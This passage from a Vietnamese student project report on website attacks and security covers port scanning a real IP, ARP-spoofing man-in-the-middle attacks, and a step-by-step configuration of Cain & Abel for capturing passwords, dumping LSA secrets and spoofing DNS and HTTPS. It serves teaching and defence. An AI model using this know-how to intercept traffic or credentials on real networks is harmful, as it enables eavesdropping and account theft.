- Tools: Các chức năng để kiểm tra, tìm kiếm thông tin của 1 IP hoặc domain.
(Ping, whois, HTTP Header request,…)
- Windows Enumeration: Thông tin mở rộng về IP hoặc Domain
(NetBIOS,Mac address, Workstation,…)
Ví dụ: Khi scan IP 210.245.31.17 ta sẽ nhận được kết quả như hình dưới:

Ở đây, IP 210.245.31.17 đang mở tổng cộng 6 port: 5 TCP và 1 UDP


Theo như liệt kê thì các port TCP đang mở là:
- 21 : FTP

76
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- 23 : Telnet
- 80 : web
- 443: SSL
- 8001: port này do Trojan mở
- Để xem chi tiết kết quả hơn, ta click vào View HTML Results.
Từ đây ta sẽ xác định được các port mà hacker có thể lợi dụng để xâm nhập
và có biện pháp secure cho các port này.
- Một số tính năng khác của Super Scan trong phần Tools để ping, tracert hay
whois 1 domain

Ở hình trên ta thu được thông tin khi tracert domain www.itsea.net như sau:
- Domain này có IP: 207.210.81.150 và qua 16 hop, server dùng hệ điều hành
Linux, chạy Apache 1.3.36 (unix) ,OpenSSL 0.9.7a …
- Ngoài ra còn 1 số chức năng khác để khai thác triệt để những thông tin về

77
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

domain này.

NHẬN XÉT :
- Super Scan là 1 công cụ scan kiểm tra thông tin IP rất mạnh và dễ sử
dụng, ngoài ra còn 1 số công cụ khác như Scan port, 1st Blue scan port,…
và có chức năng giống Super Scan.
- Với 1 công cụ như Super Scan thì không khó để kiểm soát những thông tin
về 1 IP và từ đó có cách bảo mật tốt hơn.

2. SNIFFER .

- TỔNG QUAN SNIFFER


+ Sniffer được hiểu đơn giản như là một chương trình cố gắng nghe ngóng
các lưu lượng thông tin trên một hệ thống mạng.
Sniffer được sử dụng như một công cụ để các nhà quản trị mạng theo dõi và
bảo trì hệ thống mạng. Về mặt tiêu cực, sniffer được sử dụng như một công
cụ với mục đích nghe lén các thông tin trên mạng để lấy các thông tin quan
trọng.
Sniffer dựa vào phương thức tấn công ARP để bắt gói các thông tin được
truyền qua mạng.
+ Tuy nhiên những giao dịch giữa các hệ thống mạng máy tính thường là
những dữ liệu ở dạng nhị phân (binary). Bởi vậy để hiểu được những dữ liệu
ở dạng nhị phân này, các chương trình Sniffer này phải có tính năng phân
tích các nghi thức (Protocol Analysis), cũng như tính năng giải mã (Decode)
các dữ liệu ở dạng nhị phân để hiểu được chúng
Một số các ứng dụng của Sniffer được sử dụng như : dsniff, snort, cain,
ettercap, sniffer pro…

2.1 HOẠT ĐỘNG CỦA SNIFFER .


Sniffer hoạt động chủ yếu dựa trên dạng tấn công ARP.
TẤN CÔNG ARP
a. Giới thiệu:

78
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Đây là một dạng tấn công rất nguy hiểm, gọi là Man In The Middle. Trong
trường hợp này giống như bị đặt máy nghe lén, phiên làm việc giữa máy gởi
và máy nhận vẫn diễn ra bình thường nên người sử dụng không hề hay biết
mình bị tấn công.
b. Sơ lược quá trình hoạt động:
- Trên cùng một mạng, Host A và Host B muốn truyền tin cho nhau, các
Packet sẽ được đưa xuống tầng Datalink để đóng gói, các Host phải đóng gói
MAC nguồn, MAC đích vào Frame. Như vậy trước khi quá trình truyền Dữ
liệu, các Host phải hỏi địa chỉ MAC của nhau.
- Nếu như Host A khởi động quá trình hỏi MAC trước, nó sẽ gởi broadcast gói
tin ARP request cho tất cả các Host để hỏi MAC Host B, lúc đó Host B đã có
MAC của Host A, sau đó Host B chỉ trả lời cho Host A MAC của Host B (ARP
reply).
Có 1 Host C liên tục gởi ARP reply cho Host A và Host B địa chỉ MAC của
Host C, nhưng lại đặt địa chỉ IP là Host A và Host B. Lúc này Host A cứ nghĩ
máy B có MAC là C. Như vậy các gói tin mà Host A gởi cho Host B đều bị đưa
đến Host C, gói tin Host B trả lời cho Host A cũng đưa đến Host C. Nếu Host
C bật chức năng forwarding thì coi như Host A và Host B không hề hay biết
rằng mình bị tấn công ARP.

- Ví dụ :
Ta có mô hình gồm các host

79
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

• Attacker: là máy hacker dùng để tấn công ARP


IP: 10.0.0.11
MAC: 0000.0000.1011
• Server: là máy bị tấn công
IP: 10.0.0.12
MAC: 0000.0000.1012
• HostA
IP: 10.0.0.13
MAC: 0000.0000.1013
- Đầu tiên, HostA muốn gởi dữ liệu cho Server, cần phải biết địa chỉ MAC
của Server để liên lạc. HostA sẽ gởi broadcast ARP Request tới tất cả các
máy trong cùng mạng LAN để hỏi xem IP 10.0.0.12 (IP của Server) có địa
chỉ MAC là bao nhiêu.
- Attacker và Server đều nhận được gói tin ARP Request, nhưng chỉ có
Server gởi trả lời gói tin ARP Reply lại cho HostA. ARP Reply chứa thông
tin về IP 10.0.0.12 và MAC 0000.0000.1012 của Server.
- HostA nhận được gói ARP Realy từ Server, biết được địa chỉ MAC của
Server là 0000.0000.1012 sẽ bắt đầu thực hiện liên lạc truyền dữ liệu đến
Server. Attacker không thể xem nội dung dữ liệu được truyền giữa HostA
và Server.
Máy Attacker muốn thực hiện ARP attack đối với máy Server. Attacker
muốn mọi gói tin HostA gởi đến máy Server đều có thể chụp lại được để
xem trộm.
- Attacker thực hiện gởi liên tục ARP Reply chứa thông tin về IP của
Server 10.0.0.12, còn địa chỉ MAC là của Attacker 0000.0000.1011.
- HostA nhận được ARP Reply nghĩ rằng IP Server 10.0.0.12 có địa chỉ
MAC là 0000.0000.1011. HostA lưu thông tin này vào bảng ARP Cache và
thực hiện kết nối.
- Lúc này mọi thông tin, dữ liệu HostA gởi tới máy có IP 10.0.0.12 (là máy
Server) sẽ gởi qua địa chỉ MAC 0000.0000.1011 của máy Attacker.

80
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

3 .Sử dụng phần mềm CAIN


- Phần mềm Cain là phần mềm sniffer hiệu quả hiện nay. Cung cấp tính
năng của cain có thể cho phép sniffer được cung cấp thông tin “bí mật ”
trong hệ thống mạng LAN như password e-mail, password dịch vụ ftp,
telnet,…
a. Yêu cầu về phần cứng :
Ổ cứng cần trống 10 Mb
Hệ điều hành Win 2000/2003/XP
Cần phải có Winpcap

b. Cài đặt:

- Chọn Next .

81
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Chọn next.

- Chọn Finish.
Trong quá trình cài Ct đòi hỏi ta phải cài đặt kèm bộ thư viện WinPcap.

82
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

83
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

84
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

C. Cấu hình:
Cain & Abel cần cấu hình một vài thông số, mọi thứ có thể được điều chỉnh
thông qua bảng Configuration dialog.
Sniffer Tab

85
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Tại đây chúng ta chọn card mạng sử dụng để tiến hành sniffer và tính
năng APR. Check vào ô Option để kích hoạt hay không kích hoạt tính năng.
Sniffer tương thích với Winpcap Version 2.3 hay cao hơn. Version này hỗ trợ
card mạng rất nhiều .
Apr Tab

86
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Đây là nơi bạn có thể config ARP. Mặc định Cain ngăn cách 1 chuỗi gửi
gói ARP từ nạn nhân trong vòng 30 giây. Đây thực sự là điều cần thiết bởi vì
việc xâm nhập vào thiết bị có thể sẽ gây ra sự không lưu thông tính hiệu. Từ
dialog này bạn có thể xác định thời gian giữa mỗi lần thực thi ARP, xác định
thông số ít sẽ tạo cho ARP lưu thông nhiều ,ngược lại sẽ khó khăn hơn trong
việc xâm nhập.
Tại mục này, ta cần chú ý tới phần Spoofing Options:
• Mục đầu tiên cho phép ta sử dụng địa chỉ MAC và IP thực của máy mà mình
dang sử dụng.
• Mục thứ hai cho phép sử dụng một IP và địa chỉ MAC giả mạo.
(Lưu ý địa chỉ ta chọn phải không trùng với IP của máy khác)
Khi click vào tab filters and ports, ta sẽ thấy một số thông tin về giao thức và
các con số port tương ứng với giao thức đó.

87
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Fliter and Ports Tab


Tại đây bạn có thể chọn kích hoạt hay không kích hoạt các port ứng
dụng TCP/UDP.
HTTP fields tab

88
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Tại đây có 1 list danh sách username và password sử dụng được HTTP
sniffer lọc lại.
Tại tab này cho phép ta biết dược chương trình này sẽ bắt 1 số thông tin về
trang web như:
• Mục Username Fields: Nó sẽ lấy thông tin những gì liên quan đến cái tên
(user name, account, web name v.v..) .
• Mục Password Fields: Lãnh vực này sẽ đãm nhiệm vai trò lấy thông tin về
password (login password, user pass, webpass…)
d. Các ứng dụng của CAIN :
Bảo vệ password manager :
- Trước hết nó được sử dụng như 1 private key bảo mật một số vấn đề cho
user. Hầu hết thông tin trong Protected Storage được mã hóa. Sử dụng như 1
key nhận được từ việc logon password của user. Cho phép điều hòa viêc truy
cập thông tin để owner có thể an toàn truy xuất.

89
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Một vài ứng dụng của Windows có nét đặc trưng nên sử dụng dịch vụ này:
Internet Explorer , Oulook , Oulook Express.

-Giải mã password manager :


Nó cho phép bạn đưa user names và passwords cho 1 tài nguyên mạng khác
và 1 ứng dụng, sau đó hệ thống tự động cung cấp thông tin về những sự
viếng thăm thông tin mà bạn không can thiệp.
LSA secrets dumper:
LSA secrets thì sử dụng thông tin password cho accounts dùng để start một
dịch vụ khác dữ liệu cục bộ. Dial Up và một số ứng dụng khác xác định
password nằm ở đây.
Giải mã password Dial-Up:

90
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

APR
APR là nét đặc trưng chính của chương trình. Nó cho phép lắng nghe về các
mạng chuyển mạch và sự tấn công lưu thông IP giữa các host. “APR poinsion
routing” thực hiện: tấn công và định tuyến chính xác địa chỉ đích.
APR tấn công cơ bản thông qua thao tác của host ARP. Trên 1 địa chỉ IP hay
Ethernet khi mà 2 host muốn truyền tin lẫn nhau thì phải biết địa chỉ MAC
addresses của nhau. Host gốc thấy bảng ARP nếu mà ở đây có 1 MAC
addresses tương ứng với địa chỉ IP addresses của nó. Nếu không, nó là địa
chỉ broadcasts, một lời yêu cầu ARP hỏi địa chỉ MAC của địa chỉ đích. Bởi vì
gói thông tin này được gửi trong miền broadcasts, nó sẽ đi đến những cái host
cùng subnet, tuy nhiên host với IP address trên lý thuyết khi nhận được yêu
cầu sẽ trả lời lại địa chỉ MAC gốc của nó. Trái lại nếu ARP-IP tiếp cận địa chỉ
đích của host thì nó sẵn sàng đưa ra soure host trên ARP cache. Điều này sẽ
được dùng để phát sinh lưu thông ARP.
Config.
Cần chỉnh 1 vài thông số, điều này có thể thực hiện được bằng việc chỉ rõ việc
bắt chước MAC và IP addresses bằng việc sử dụng ARP poision packets.
Điều này thật sự khó khăn khi không để lại vết tích của việc tấn công bởi vì
người tấn công thực tế không bao giờ gửi địa chỉ qua lại trên mạng. Trên
mạng người tấn công lúc nào cũng lén lúc ở giữa để quan sát.

91
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

192.168.0.10. Công việc tiến hành theo cơ chế người ở giữa, chương trình sẽ
thực hiện 1 sự tấn công ARP poision, CAIN có thể phát triển sự tấn công bộ
nhớ của nhiều host trong khoảng thời gian như nhau, bạn cần chọn 1 địa chỉ
ở ô bên trái.Hình ở trên là ta muốn tấn công ip từ 192.168.0.1

92
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Service manager : ta có thể start/stop, pause/continued hay remove


bất cứ 1 dịch vụ nào có trên cửa sổ giao diện .

Sniffer ARP-DNS

- Nét đặc trưng ở đây là cho phép DNS tiến hành giả mạo thành 1 DNS-reply
để có thể tấn công .

93
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

-ARP-DNS dễ dàng tạo ra 1 ip address trên DNS-reply. Sniffer dễ dàng rút ra


được tên yêu cầu từ gói dữ liệu kết hợp với việc thấy được địa chỉ trên bảng
danh sách. Ở đây gói dữ liệu sẽ được chỉnh lại IP address để sau đó re-route
đi. Lúc này client sẽ bị đánh lừa để ta dễ dàng biết được địa chỉ đích .
- ARP-HTTPS
ARP-HTTPS cho phép việc bắt gói và giải mã trong sự lưu thông của HTTPS
giữa các host. Đây là công việc kết hợp với công cụ Certificate Collector . Khi
mà nạn nhân Start HTTPS trình duyệt của anh ta sẽ hiện lên po-pup báo động
.

94
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

95
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

96
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

IV. Kết luận


Như vậy, bảo mật website và tấn công website là hai lưc lượng chủ chốt
cho việc phát triển website trong lĩnh vực bảo mật, khi một lỗi được tìm
thấy, các hacker sẽ tấn công vào, và các nhà quản trị website sẽ phải
giải quyết các vấn đề đó, và phải đưa ra những cách thức bảo mật cao
hơn, tốt hơn, để rồi các hacker lại phải Debug, tìm lỗi và lại tấn công…
cứ như thế, dần dần thì độ bảo mật của website sẽ được tăng lên.
Nhưng do nhu cầu phát triển của các website là khác nhau và đa dạng
với nhiều yêu cầu, vì vậy, các hacker lại có những cơ hội mới để có thể
tấn công được một website.
Hy vọng từ những kiến thức trên đây có thể giúp ích phần nào cho việc
phát triển website, bảo mật website, và phát triển công nghệ, giúp
nghành công nghệ thông tin có thể tiến xa hơn.

Tài liệu tham khảo:


http://hvaonline.com
http://google.com.vn
http://nhatnghe.com
http://wikipedia.org
và một số tài liệu tham khảo khác.

97
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

98

You might also like